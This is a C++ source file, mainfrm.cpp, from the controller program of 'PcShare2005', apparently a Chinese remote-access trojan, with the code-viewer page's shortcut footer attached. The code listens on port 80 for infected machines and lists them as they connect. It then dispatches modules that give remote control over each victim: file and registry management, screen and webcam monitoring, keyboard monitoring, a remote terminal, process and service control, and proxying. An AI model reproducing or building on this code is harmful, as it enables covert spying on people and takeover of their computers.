📄 mainfrm.cpp
字号:
sprintf(m_Text,"本机IP地址列表:【%s】",
m_AddrList.Left(m_AddrList.GetLength() - 1));
ShowMyText(m_Text,FALSE);
wsprintf(m_Text,"PcShare2005(VIP版本)-主控界面: %s",
m_AddrList.Left(m_AddrList.GetLength() - 1));
SetWindowText(m_Text);
//打开上线侦听端口
char m_sPortMain[100] = {0};
GetPrivateProfileString("设置","自动上线连接端口",
"80",m_sPortMain,99,m_IniFileName);
m_MainSocket = StartTcp(atoi(m_sPortMain));
if(m_MainSocket == NULL)
{
ShowMyText("控制端口被占用,初始化失败,请关闭iis服务!",TRUE);
return ;
}
wsprintf(m_Text,"本机侦听端口【%s】",m_sPortMain);
ShowMyText(m_Text,FALSE);
//启动侦听线程
ShowMyText("初始化成功,等待客户连接",FALSE);
UINT m_Id = 0;
_beginthreadex(NULL,0,MyMainThread,(LPVOID) m_MainSocket,0,&m_Id);
}
void CMainFrame::ShowMyText(LPCTSTR Text,BOOL Flag)
{
pEventView->InsertItem(Text,Flag);
}
void CMainFrame::OnClose()
{
StopWork();
CFrameWnd::OnClose();
}
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
char m_Title[256] = {0};
::GetWindowText(hwnd,m_Title,250);
if(!memcmp(m_Title,"PCSHARE",7) &&
strchr(m_Title,'-') != NULL)
{
::SendMessage(hwnd,WM_CLOSE,0,0);
}
return TRUE;
}
void CMainFrame::StopWork()
{
CWaitCursor m_Cur;
m_MainValue.m_IsMainExit = TRUE;
EnumWindows(EnumWindowsProc,NULL);
//关闭套接字
closesocket(m_MainSocket);
pClientListView->StopWork();
m_Cur.Restore();
}
LRESULT CMainFrame::OnMyItemChanged(WPARAM wParam,LPARAM lParam)
{
return TRUE;
}
LRESULT CMainFrame::OnCloseItem(WPARAM wParam,LPARAM lParam)
{
if(WSAGETSELECTEVENT(lParam) == FD_CLOSE)
{
DWORD pClientItem =
pClientListView->CloseClient((SOCKET) wParam);
}
return TRUE;
}
void CMainFrame::OnUpdatePane(CCmdUI *pCmdUI)
{
char m_Text[256];
sprintf(m_Text,"当前连接客户%d个",
pClientListView->GetListCtrl().GetItemCount());
pCmdUI->SetText(m_Text);
}
LRESULT CMainFrame::OnMainRClick(WPARAM wParam,LPARAM lParam)
{
CPoint m_point;
CNewMenu m_menu;
m_menu.LoadMenu(wParam);
GetCursorPos(&m_point);
SetForegroundWindow();
m_menu.GetSubMenu(0)->
TrackPopupMenu(TPM_LEFTALIGN|
TPM_RIGHTBUTTON,
m_point.x,m_point.y,this);
m_menu.DestroyMenu();
return TRUE;
}
void CMainFrame::ProcessCmd(SOCKET s, UINT Command,char *pExterndata,int len)
{
CWaitCursor m_Cur;
CMDINFO m_CmdInfo = {0};
m_CmdInfo.m_Command = Command;
if(pExterndata != NULL)
m_CmdInfo.m_DataLen = len;
//关闭事件通知
WSAAsyncSelect(s,GetSafeHwnd(), 0, 0);
ULONG icmd = 0;
if(ioctlsocket(s,FIONBIO,&icmd))
{
PostMessage(WM_COMMAND,
MAKEWPARAM(ID_CLIENT_DELETE,1),NULL);
closesocket(s);
m_Cur.Restore();
return;
}
if(!SendData(s,(char*) &m_CmdInfo,
sizeof(CMDINFO)))
{
PostMessage(WM_COMMAND,
MAKEWPARAM(ID_CLIENT_DELETE,1),NULL);
closesocket(s);
m_Cur.Restore();
return;
}
if(pExterndata != NULL)
{
if(!SendData(s,pExterndata,
m_CmdInfo.m_DataLen))
{
PostMessage(WM_COMMAND,
MAKEWPARAM(ID_CLIENT_DELETE,1),NULL);
closesocket(s);
m_Cur.Restore();
return;
}
}
//启动事件通知
if(WSAAsyncSelect(s,GetSafeHwnd(),
WM_CLOSEITEM,FD_CLOSE) == SOCKET_ERROR)
{
PostMessage(WM_COMMAND,
MAKEWPARAM(ID_CLIENT_DELETE,1),NULL);
closesocket(s);
m_Cur.Restore();
return;
}
m_Cur.Restore();
}
void CMainFrame::DeleteCurItem()
{
pClientListView->DeleteCurItem();
}
void CMainFrame::ResizeWnd()
{
pEventView->SendMessage(WM_RESIZE_WND,0,0);
pClientListView->SendMessage(WM_RESIZE_WND,0,0);
}
void CMainFrame::OnListDeleteItem()
{
int nCount = pEventView->GetListCtrl().GetSelectedCount();
for(int i = 0; i < nCount; i++)
{
int nItem = pEventView->GetListCtrl().
GetNextItem(-1,LVNI_SELECTED);
pEventView->GetListCtrl().DeleteItem(nItem);
}
pEventView->SendMessage(WM_RESIZE_WND,0,0);
}
void CMainFrame::OnUpdateListDeleteItem(CCmdUI* pCmdUI)
{
pCmdUI->Enable(pEventView->GetListCtrl().GetSelectedCount() > 0);
}
void CMainFrame::OnListEmptyItem()
{
pEventView->GetListCtrl().DeleteAllItems();
pEventView->SendMessage(WM_RESIZE_WND,0,0);
}
void CMainFrame::OnUpdateListEmptyItem(CCmdUI* pCmdUI)
{
pCmdUI->Enable(pEventView->GetListCtrl().GetItemCount() > 0);
}
void CMainFrame::OnSaveListLog()
{
CString szFilter = "日志文件(*.txt)|*.txt|";
CFileDialog m_filedialog(FALSE,NULL,"pslog.txt",
OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,szFilter,this);
if(m_filedialog.DoModal()!=IDOK) return;
CFile m_File(m_filedialog.GetPathName(),
CFile::modeCreate|CFile::modeWrite);
int nCount = pEventView->GetListCtrl().GetSelectedCount();
for(int i = 0; i < pEventView->
GetListCtrl().GetItemCount(); i++)
{
char m_Text[512] = {0};
sprintf(m_Text,"发生时间:%s 事件内容:%s\r\n",
pEventView->GetListCtrl().GetItemText(i,0),
pEventView->GetListCtrl().GetItemText(i,1));
m_File.Write(m_Text,strlen(m_Text));
}
m_File.Close();
}
void CMainFrame::OnUpdateSaveListLog(CCmdUI* pCmdUI)
{
pCmdUI->Enable(pEventView->GetListCtrl().GetItemCount() > 0);
}
void CMainFrame::OnClientFileManager()
{
StartChildWork(pClientListView->GetCurSel(), "文件管理", CLIENT_FILES_START, "PcFile.exe");
}
void CMainFrame::OnUpdateClientFileManager(CCmdUI* pCmdUI)
{
pCmdUI->Enable(pClientListView->GetCurSel() != NULL);
}
void CMainFrame::OnFrameMonitor()
{
StartChildWork(pClientListView->GetCurSel(), "屏幕监控", CLIENT_FRAME_START, "PcFrame.exe");
}
void CMainFrame::OnUpdateFrameMonitor(CCmdUI* pCmdUI)
{
pCmdUI->Enable(pClientListView->GetCurSel() != NULL);
}
void CMainFrame::OnRegEdit()
{
StartChildWork(pClientListView->GetCurSel(), "注册表管理", CLIENT_REGEDIT_START, "PcRegedit.exe");
}
void CMainFrame::OnUpdateRegEdit(CCmdUI* pCmdUI)
{
pCmdUI->Enable(pClientListView->GetCurSel() != NULL);
}
void CMainFrame::OnModifyTitle()
{
LPCLIENTITEM pItem = pClientListView->GetCurSel();
if(!pItem) return;
char m_LogFileName[256] = {0};
GetModuleFileName(NULL,m_LogFileName,250);
char *p = strrchr(m_LogFileName,'.');
*p = 0;
strcat(m_LogFileName,".log");
char m_Name[256] = {0};
GetPrivateProfileString("客户注释",pItem->m_SysInfo.ID,
pItem->m_SysInfo.m_PcName,m_Name,255,m_LogFileName);
CMyClientTitleDlg dlg(m_Name);
if(dlg.DoModal() != IDOK) return;
WritePrivateProfileString("客户注释",pItem->m_SysInfo.ID,
dlg.m_Title,m_LogFileName);
pClientListView->SetItemInfo(dlg.m_Title.LockBuffer() , pItem->m_SysInfo.ID);
}
void CMainFrame::OnUpdateModifyTitle(CCmdUI* pCmdUI)
{
pCmdUI->Enable(pClientListView->GetListCtrl().GetSelectedCount() == 1);
}
void CMainFrame::StartChildWork(LPCLIENTITEM pItem, char* pTitle, UINT nCmd,char* pExeName)
{
if(!pItem) return;
char m_Text[256] = {0};
sprintf(m_Text,"PCSHARE%s-%s", pTitle, pItem->m_Title);
HWND hWnd = ::FindWindow(NULL,m_Text);
if(hWnd)
{
::BringWindowToTop(hWnd);
return;
}
char* pFind = strrchr(m_Text,':');
if(pFind != NULL) *pFind = 0;
//启动新的子进程
char m_AppName[512] = {0};
char m_FileName[256];
strcpy(m_FileName, pExeName);
GetMyFilePath(m_FileName);
sprintf(m_AppName,"%s %s:%s",m_FileName,m_Text,pItem->m_SysInfo.ID);
STARTUPINFO st = {0};
st.cb = sizeof(STARTUPINFO);
PROCESS_INFORMATION pi = {0};
if(!CreateProcess(NULL , m_AppName , NULL ,
NULL , TRUE , 0 , NULL , NULL , &st , &pi))
return;
ExecCmd(pItem->m_WorkSocket , nCmd , 0);
}
void CMainFrame::OnTlnt()
{
StartChildWork(pClientListView->GetCurSel(), "超级终端", CLIENT_TLNT_START, "PcTlnt.exe");
}
void CMainFrame::OnUpdateTlnt(CCmdUI *pCmdUI)
{
pCmdUI->Enable(pClientListView->GetCurSel() != NULL);
}
void CMainFrame::OnProc()
{
StartChildWork(pClientListView->GetCurSel(), "进程管理", CLIENT_PROC_START, "PcProc.exe");
}
void CMainFrame::OnUpdateProc(CCmdUI *pCmdUI)
{
pCmdUI->Enable(pClientListView->GetCurSel() != NULL);
}
void CMainFrame::OnService()
{
StartChildWork(pClientListView->GetCurSel(), "服务管理", CLIENT_SERVICE_START, "PcService.exe");
}
void CMainFrame::OnUpdateService(CCmdUI *pCmdUI)
{
pCmdUI->Enable(pClientListView->GetCurSel() != NULL);
}
void CMainFrame::OnMulit()
{
StartChildWork(pClientListView->GetCurSel(), "视频监控", CLIENT_MULIT_START, "PcMulit.exe");
}
void CMainFrame::OnUpdateMulit(CCmdUI *pCmdUI)
{
pCmdUI->Enable(pClientListView->GetCurSel() != NULL);
}
void CMainFrame::OnMonitorKey()
{
StartChildWork(pClientListView->GetCurSel(), "键盘监控", CLIENT_KEYMON_START, "PcKeyMon.exe");
}
void CMainFrame::OnUpdateMonitorKey(CCmdUI *pCmdUI)
{
pCmdUI->Enable(pClientListView->GetCurSel() != NULL);
}
BOOL CMainFrame::PreCreateWindow(CREATESTRUCT& cs)
{
CFrameWnd::PreCreateWindow(cs);
cs.style ^= WS_MAXIMIZE;
cs.dwExStyle &= ~WS_EX_CLIENTEDGE;
cs.lpszClass = AfxRegisterWndClass(
CS_VREDRAW | CS_HREDRAW,
LoadCursor(NULL, IDC_ARROW),
(HBRUSH) GetStockObject(WHITE_BRUSH),
AfxGetApp()->LoadIcon(IDR_MAINFRAME));
return TRUE;
}
void CMainFrame::OnClientProxy()
{
LPCLIENTITEM pItem = pClientListView->GetCurSel();
if(!pItem) return;
CMyClientProxy dlg;
if(dlg.DoModal() != IDOK) return;
ExecCmd(pItem->m_WorkSocket , CLIENT_PROXY , dlg.m_Port);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -